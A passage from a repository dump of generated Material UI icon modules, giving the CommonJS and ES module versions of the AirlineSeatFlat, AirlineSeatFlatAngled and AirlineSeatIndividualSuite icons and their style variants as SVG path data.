    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11v2H9V7h9c2.21 0 4 1.79 4 4M2 14v2h6v2h8v-2h6v-2zm5.14-1.9c1.16-1.19 1.14-3.08-.04-4.24-1.19-1.16-3.08-1.14-4.24.04-1.16 1.19-1.14 3.08.04 4.24 1.19 1.16 3.08 1.14 4.24-.04\"\n}), 'AirlineSeatFlat');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11v2H9V7h9c2.21 0 4 1.79 4 4M2 14v2h6v2h8v-2h6v-2zm5.14-1.9c1.16-1.19 1.14-3.08-.04-4.24-1.19-1.16-3.08-1.14-4.24.04-1.16 1.19-1.14 3.08.04 4.24 1.19 1.16 3.08 1.14 4.24-.04\"\n}), 'AirlineSeatFlat');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.25 14.29-.69 1.89L9.2 11.71l2.08-5.66 8.56 3.09c2.1.76 3.18 3.06 2.41 5.15M1.5 12.14 8 14.48V19h8v-1.63L20.52 19l.69-1.89-19.02-6.86zm5.8-1.94c1.49-.72 2.12-2.51 1.41-4C7.99 4.71 6.2 4.08 4.7 4.8c-1.49.71-2.12 2.5-1.4 4 .71 1.49 2.5 2.12 4 1.4\"\n}), 'AirlineSeatFlatAngled');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.25 14.29-.69 1.89L9.2 11.71l2.08-5.66 8.56 3.09c2.1.76 3.18 3.06 2.41 5.15M1.5 12.14 8 14.48V19h8v-1.63L20.52 19l.69-1.89-19.02-6.86zm5.8-1.94c1.49-.72 2.12-2.51 1.41-4C7.99 4.71 6.2 4.08 4.7 4.8c-1.49.71-2.12 2.5-1.4 4 .71 1.49 2.5 2.12 4 1.4\"\n}), 'AirlineSeatFlatAngled');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.5c.31 0 .7.15.9.56.24.5.02 1.1-.47 1.34-.14.06-.28.1-.43.1-.3 0-.7-.15-.89-.56-.17-.34-.1-.63-.05-.78.05-.14.18-.4.51-.56.14-.06.28-.1.43-.1m6.47 2.11 6.69 2.41c.52.19.93.56 1.15 1.05.22.48.25 1.03.06 1.53l-.01.02-8.59-3.11zM10 15.19l4 1.44V17h-4zM6 4.5c-.44 0-.88.1-1.3.3-1.49.71-2.12 2.5-1.4 4 .51 1.07 1.58 1.7 2.7 1.7.44 0 .88-.1 1.3-.3 1.49-.72 2.12-2.51 1.41-4C8.19 5.13 7.12 4.5 6 4.5m5.28 1.55L9.2 11.71l12.36 4.47.69-1.89c.77-2.09-.31-4.39-2.41-5.15zm-9.09 4.2-.69 1.89L8 14.48V19h8v-1.63L20.52 19l.69-1.89z\"\n}), 'AirlineSeatFlatAngledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.5c.31 0 .7.15.9.56.24.5.02 1.1-.47 1.34-.14.06-.28.1-.43.1-.3 0-.7-.15-.89-.56-.17-.34-.1-.63-.05-.78.05-.14.18-.4.51-.56.14-.06.28-.1.43-.1m6.47 2.11 6.69 2.41c.52.19.93.56 1.15 1.05.22.48.25 1.03.06 1.53l-.01.02-8.59-3.11zM10 15.19l4 1.44V17h-4zM6 4.5c-.44 0-.88.1-1.3.3-1.49.71-2.12 2.5-1.4 4 .51 1.07 1.58 1.7 2.7 1.7.44 0 .88-.1 1.3-.3 1.49-.72 2.12-2.51 1.41-4C8.19 5.13 7.12 4.5 6 4.5m5.28 1.55L9.2 11.71l12.36 4.47.69-1.89c.77-2.09-.31-4.39-2.41-5.15zm-9.09 4.2-.69 1.89L8 14.48V19h8v-1.63L20.52 19l.69-1.89z\"\n}), 'AirlineSeatFlatAngledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.25 14.29-.69 1.89L9.2 11.71l1.39-3.79c.38-1.03 1.52-1.56 2.56-1.19l6.69 2.41c2.1.76 3.18 3.06 2.41 5.15m-19.8-1.81 5.55 2V18c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-.63l3.58 1.29c.52.19 1.1-.08 1.29-.6s-.08-1.1-.6-1.29L3.13 10.59c-.52-.19-1.1.08-1.29.6-.18.52.09 1.1.61 1.29M7.3 10.2c1.49-.72 2.12-2.51 1.41-4C7.99 4.71 6.2 4.08 4.7 4.8c-1.49.71-2.12 2.5-1.4 4 .71 1.49 2.5 2.12 4 1.4\"\n}), 'AirlineSeatFlatAngledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.25 14.29-.69 1.89L9.2 11.71l1.39-3.79c.38-1.03 1.52-1.56 2.56-1.19l6.69 2.41c2.1.76 3.18 3.06 2.41 5.15m-19.8-1.81 5.55 2V18c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-.63l3.58 1.29c.52.19 1.1-.08 1.29-.6s-.08-1.1-.6-1.29L3.13 10.59c-.52-.19-1.1.08-1.29.6-.18.52.09 1.1.61 1.29M7.3 10.2c1.49-.72 2.12-2.51 1.41-4C7.99 4.71 6.2 4.08 4.7 4.8c-1.49.71-2.12 2.5-1.4 4 .71 1.49 2.5 2.12 4 1.4\"\n}), 'AirlineSeatFlatAngledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.56 16.18 9.2 11.71l2.08-5.66 12.35 4.47zM1.5 12.14 8 14.48V19h8v-1.63L20.52 19l.69-1.89-19.02-6.86zm5.8-1.94c1.49-.72 2.12-2.51 1.41-4C7.99 4.71 6.2 4.08 4.7 4.8c-1.49.71-2.12 2.5-1.4 4 .71 1.49 2.5 2.12 4 1.4\"\n}), 'AirlineSeatFlatAngledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.56 16.18 9.2 11.71l2.08-5.66 12.35 4.47zM1.5 12.14 8 14.48V19h8v-1.63L20.52 19l.69-1.89-19.02-6.86zm5.8-1.94c1.49-.72 2.12-2.51 1.41-4C7.99 4.71 6.2 4.08 4.7 4.8c-1.49.71-2.12 2.5-1.4 4 .71 1.49 2.5 2.12 4 1.4\"\n}), 'AirlineSeatFlatAngledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 16.64-4-1.45V17h4zM6 8.5c.15 0 .3-.03.44-.1.49-.24.7-.84.46-1.34-.19-.41-.59-.56-.9-.56-.15 0-.3.03-.44.1-.32.16-.45.42-.5.56-.05.15-.12.44.04.77.2.42.59.57.9.57m13.16 2.52-6.69-2.41-.7 1.91 8.59 3.11.01-.02c.19-.51.17-1.05-.06-1.53-.23-.5-.63-.87-1.15-1.06\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.5 12.14 8 14.48V19h8v-1.63L20.52 19l.69-1.89-19.02-6.86zm8.5 3.05 4 1.44V17h-4zm9.84-6.05-8.56-3.09-2.08 5.66 12.36 4.47.69-1.89c.77-2.09-.31-4.39-2.41-5.15m.53 4.46-.01.02-8.59-3.11.7-1.91 6.69 2.41c.52.19.93.56 1.15 1.05.23.49.25 1.04.06 1.54M6 10.5c.44 0 .88-.1 1.3-.3 1.49-.72 2.12-2.51 1.41-4C8.19 5.13 7.12 4.5 6 4.5c-.44 0-.88.1-1.3.3-1.49.71-2.12 2.5-1.4 4 .51 1.07 1.58 1.7 2.7 1.7m-.94-3.34c.05-.14.18-.4.51-.56.14-.06.28-.1.43-.1.31 0 .7.15.9.56.24.5.02 1.1-.47 1.34-.14.06-.28.1-.43.1-.3 0-.7-.15-.89-.56-.17-.34-.1-.63-.05-.78\"\n}, \"1\")], 'AirlineSeatFlatAngledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatAngledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 16.64-4-1.45V17h4zM6 8.5c.15 0 .3-.03.44-.1.49-.24.7-.84.46-1.34-.19-.41-.59-.56-.9-.56-.15 0-.3.03-.44.1-.32.16-.45.42-.5.56-.05.15-.12.44.04.77.2.42.59.57.9.57m13.16 2.52-6.69-2.41-.7 1.91 8.59 3.11.01-.02c.19-.51.17-1.05-.06-1.53-.23-.5-.63-.87-1.15-1.06\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.5 12.14 8 14.48V19h8v-1.63L20.52 19l.69-1.89-19.02-6.86zm8.5 3.05 4 1.44V17h-4zm9.84-6.05-8.56-3.09-2.08 5.66 12.36 4.47.69-1.89c.77-2.09-.31-4.39-2.41-5.15m.53 4.46-.01.02-8.59-3.11.7-1.91 6.69 2.41c.52.19.93.56 1.15 1.05.23.49.25 1.04.06 1.54M6 10.5c.44 0 .88-.1 1.3-.3 1.49-.72 2.12-2.51 1.41-4C8.19 5.13 7.12 4.5 6 4.5c-.44 0-.88.1-1.3.3-1.49.71-2.12 2.5-1.4 4 .51 1.07 1.58 1.7 2.7 1.7m-.94-3.34c.05-.14.18-.4.51-.56.14-.06.28-.1.43-.1.31 0 .7.15.9.56.24.5.02 1.1-.47 1.34-.14.06-.28.1-.43.1-.3 0-.7-.15-.89-.56-.17-.34-.1-.63-.05-.78\"\n}, \"1\")], 'AirlineSeatFlatAngledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13c.78 0 1.55-.3 2.14-.9 1.16-1.19 1.14-3.08-.04-4.24C6.51 7.29 5.75 7 5 7c-.78 0-1.55.3-2.14.9-1.16 1.19-1.14 3.08.04 4.24.59.57 1.35.86 2.1.86m-.71-3.7c.19-.19.44-.3.71-.3.26 0 .51.1.7.28.4.39.4 1.01.02 1.41-.2.2-.45.31-.72.31-.26 0-.51-.1-.7-.28-.4-.4-.4-1.02-.01-1.42M18 7H9v6h13v-2c0-2.21-1.79-4-4-4m-7 4V9h7c1.1 0 2 .9 2 2zm-9 5h6v2h8v-2h6v-2H2z\"\n}), 'AirlineSeatFlatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13c.78 0 1.55-.3 2.14-.9 1.16-1.19 1.14-3.08-.04-4.24C6.51 7.29 5.75 7 5 7c-.78 0-1.55.3-2.14.9-1.16 1.19-1.14 3.08.04 4.24.59.57 1.35.86 2.1.86m-.71-3.7c.19-.19.44-.3.71-.3.26 0 .51.1.7.28.4.39.4 1.01.02 1.41-.2.2-.45.31-.72.31-.26 0-.51-.1-.7-.28-.4-.4-.4-1.02-.01-1.42M18 7H9v6h13v-2c0-2.21-1.79-4-4-4m-7 4V9h7c1.1 0 2 .9 2 2zm-9 5h6v2h8v-2h6v-2H2z\"\n}), 'AirlineSeatFlatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11v2H9V9c0-1.1.9-2 2-2h7c2.21 0 4 1.79 4 4M2 15c0 .55.45 1 1 1h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1m5.14-2.9c1.16-1.19 1.14-3.08-.04-4.24-1.19-1.16-3.08-1.14-4.24.04-1.16 1.19-1.14 3.08.04 4.24 1.19 1.16 3.08 1.14 4.24-.04\"\n}), 'AirlineSeatFlatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11v2H9V9c0-1.1.9-2 2-2h7c2.21 0 4 1.79 4 4M2 15c0 .55.45 1 1 1h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1m5.14-2.9c1.16-1.19 1.14-3.08-.04-4.24-1.19-1.16-3.08-1.14-4.24.04-1.16 1.19-1.14 3.08.04 4.24 1.19 1.16 3.08 1.14 4.24-.04\"\n}), 'AirlineSeatFlatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7v6H9V7zM2 14v2h6v2h8v-2h6v-2zm5.14-1.9c1.16-1.19 1.14-3.08-.04-4.24-1.19-1.16-3.08-1.14-4.24.04-1.16 1.19-1.14 3.08.04 4.24 1.19 1.16 3.08 1.14 4.24-.04\"\n}), 'AirlineSeatFlatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7v6H9V7zM2 14v2h6v2h8v-2h6v-2zm5.14-1.9c1.16-1.19 1.14-3.08-.04-4.24-1.19-1.16-3.08-1.14-4.24.04-1.16 1.19-1.14 3.08.04 4.24 1.19 1.16 3.08 1.14 4.24-.04\"\n}), 'AirlineSeatFlatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11c.27 0 .52-.11.71-.3.39-.4.39-1.02-.01-1.41C5.51 9.11 5.26 9 5 9c-.27 0-.52.11-.71.3-.39.4-.39 1.02.01 1.41.19.18.44.29.7.29m13-2h-7v2h9c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13c.78 0 1.55-.3 2.14-.9 1.16-1.19 1.14-3.08-.04-4.24C6.51 7.29 5.75 7 5 7c-.78 0-1.55.3-2.14.9-1.16 1.19-1.14 3.08.04 4.24.59.57 1.35.86 2.1.86m-.71-3.7c.19-.19.44-.3.71-.3.26 0 .51.1.7.28.4.39.4 1.01.02 1.41-.2.2-.45.31-.72.31-.26 0-.51-.1-.7-.28-.4-.4-.4-1.02-.01-1.42M18 7H9v6h13v-2c0-2.21-1.79-4-4-4m-7 4V9h7c1.1 0 2 .9 2 2zm-9 5h6v2h8v-2h6v-2H2z\"\n}, \"1\")], 'AirlineSeatFlatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatFlatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11c.27 0 .52-.11.71-.3.39-.4.39-1.02-.01-1.41C5.51 9.11 5.26 9 5 9c-.27 0-.52.11-.71.3-.39.4-.39 1.02.01 1.41.19.18.44.29.7.29m13-2h-7v2h9c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13c.78 0 1.55-.3 2.14-.9 1.16-1.19 1.14-3.08-.04-4.24C6.51 7.29 5.75 7 5 7c-.78 0-1.55.3-2.14.9-1.16 1.19-1.14 3.08.04 4.24.59.57 1.35.86 2.1.86m-.71-3.7c.19-.19.44-.3.71-.3.26 0 .51.1.7.28.4.39.4 1.01.02 1.41-.2.2-.45.31-.72.31-.26 0-.51-.1-.7-.28-.4-.4-.4-1.02-.01-1.42M18 7H9v6h13v-2c0-2.21-1.79-4-4-4m-7 4V9h7c1.1 0 2 .9 2 2zm-9 5h6v2h8v-2h6v-2H2z\"\n}, \"1\")], 'AirlineSeatFlatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuite.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.65 0 3-1.35 3-3S8.65 7 7 7s-3 1.35-3 3 1.35 3 3 3m12-6h-8v7H3V7H1v10h22v-6c0-2.21-1.79-4-4-4\"\n}), 'AirlineSeatIndividualSuite');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuite.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.65 0 3-1.35 3-3S8.65 7 7 7s-3 1.35-3 3 1.35 3 3 3m12-6h-8v7H3V7H1v10h22v-6c0-2.21-1.79-4-4-4\"\n}), 'AirlineSeatIndividualSuite');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V7H1v10h22v-6c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}), 'AirlineSeatIndividualSuiteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V7H1v10h22v-6c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}), 'AirlineSeatIndividualSuiteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.65 0 3-1.35 3-3S8.65 7 7 7s-3 1.35-3 3 1.35 3 3 3m12-6h-6c-1.1 0-2 .9-2 2v5H3V8c0-.55-.45-1-1-1s-1 .45-1 1v7c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-4c0-2.21-1.79-4-4-4\"\n}), 'AirlineSeatIndividualSuiteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.65 0 3-1.35 3-3S8.65 7 7 7s-3 1.35-3 3 1.35 3 3 3m12-6h-6c-1.1 0-2 .9-2 2v5H3V8c0-.55-.45-1-1-1s-1 .45-1 1v7c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-4c0-2.21-1.79-4-4-4\"\n}), 'AirlineSeatIndividualSuiteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.65 0 3-1.35 3-3S8.65 7 7 7s-3 1.35-3 3 1.35 3 3 3m16-6H11v7H3V7H1v10h22z\"\n}), 'AirlineSeatIndividualSuiteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.65 0 3-1.35 3-3S8.65 7 7 7s-3 1.35-3 3 1.35 3 3 3m16-6H11v7H3V7H1v10h22z\"\n}), 'AirlineSeatIndividualSuiteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"11\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-6v6h8v-4c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V7H1v10h22v-6c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}, \"2\")], 'AirlineSeatIndividualSuiteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatIndividualSuiteTwoTone.mjs",
